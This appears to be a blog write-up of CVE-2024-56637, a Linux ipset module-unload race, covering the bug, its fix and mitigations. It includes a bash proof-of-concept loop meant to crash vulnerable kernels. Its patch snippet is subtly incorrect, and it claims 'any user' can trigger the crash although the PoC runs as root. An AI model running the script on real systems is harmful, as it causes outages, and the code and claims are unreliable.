Recently, a serious vulnerability, CVE-2024-56637, was found and patched in the Linux kernel's Netfilter subsystem (specifically, the ipset code). This race condition lets userspace processes unload a critical kernel module while it’s loading another module, leading to a crash or even allowing an attacker to crash or destabilize the system.
We’ll walk step by step through what the flaw was, why it happened, how it could be exploited, share a code snippet, and point you to deep-dive references.
What is Netfilter and ipset?
Netfilter is the packet filtering framework in Linux. ipset is a kernel module used to manage and match large IP address sets efficiently in firewall rules.
ip_set.ko – the main kernel module for ipset sets.
- Set type backends: Specific implementations/extensions for different set types.
The flaw
When ipset is running in userspace and asks for a “set type” module, it performs module loading (requesting a backend module). However, in the time window between unlocking the internal Netfilter lock (nfnl_unlock()) and the module backend being fully loaded, userspace can unload the main ip_set.ko module. This creates a race condition which may lead to a use-after-free scenario or a kernel crash.
In simple terms: While asking Linux for an extra ipset backend module, it’s possible to pull the rug out (unload ip_set.ko) from under its feet, leaving the kernel with a missing dependency at runtime. This could cause a kernel panic or crash.
Places Where This Can Happen
- Concurrent scripts/tools (like ipset, nft) manipulating rules and modules.
Why does it happen?
Because the kernel code *did not hold a reference* on ip_set.ko while requesting the extra backend module. Therefore, it might get removed mid-operation.
How the Bug Was Fixed
The maintainers patched the kernel to hold a module reference on ip_set.ko until the set type backend has been fully loaded and the operation is complete. This prevents it from being removed while it is still needed.
Relevant Commit
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=af32c8d78e7d
Patch Snippet:
Here's the essence of the fix in C
/* PATCHED: Hold ip_set.ko reference while loading backend modules */
struct module *ipset_mod;
ipset_mod = try_module_get(THIS_MODULE); // Take a ref on ip_set.ko
// Request the backend module (could block, e.g., with mdelay())
request_module("ip_set_%s", set_type->name);
// ... do work with set_type ...
module_put(THIS_MODULE); // Release ref on ip_set.ko
Before, there was no try_module_get() / module_put() around backend loading.
Exploit Details: How Could This Be Abused?
This race condition is not an easy local privilege escalation; it is primarily a denial-of-service (DoS) issue, letting any user who can manipulate ipset modules and rules potentially crash the kernel.
An attacker could
1. Continuously (and quickly) run a script to add/remove ipset sets, causing frequent module loads/unloads.
In parallel, unload the ip_set.ko module (perhaps with rmmod ip_set), racing against backend load.
3. During the vulnerable window, the module is unloaded during backend loading, causing a dereference/use-after-free in kernel memory.
Proof of Concept (PoC) — EXCLUSIVE
*Note: This is for educational and testing purposes only!*
#!/bin/bash
# WARNING: May CRASH your system if vulnerable!
# Launch two terminals. In one (as root):
while true; do
# Remove main module
rmmod ip_set
done
# In the other (as root), repeatedly add a set type, triggering backend loads:
while true; do
modprobe ip_set
ipset create test hash:ip || true
ipset destroy test || true
done
# Optionally, insert a delay in the kernel code (mdelay) after nfnl_unlock() to make race easy to win.
On vulnerable kernels, this setup can lead to a kernel panic or oops!
*This race is REALLY tricky to win in normal kernels, but attackers can create “malicious” userspace programs with rapid concurrent module loads/unloads to trigger the DoS.*
Update your Linux kernel to include the af32c8d78e7d commit or newer.
- Restrict userspace access to module insertion/removal commands.
Further Reading & References
- CVE-2024-56637 entry at CVE.org
- ipset kernel code
- Netfilter project homepage
- Linux Kernel Patch: “netfilter: ipset: Hold module reference while requesting a module”
In Conclusion
CVE-2024-56637 highlights the dangers of subtle module reference count bugs in Linux kernel code — especially in critical networking components like Netfilter. While not a direct “root” exploit, any local crash or instability can be a serious risk for production servers and appliances. Patch up, stay safe, and happy hacking!
If you have detailed logging, try to spot suspicious loading/unloading of ip_set.ko, and make sure your kernel is up to date.
*Feel free to share this exclusive writeup with your security team.*
Timeline
Published on: 12/27/2024 15:15:23 UTC
Last modified on: 05/04/2025 10:00:42 UTC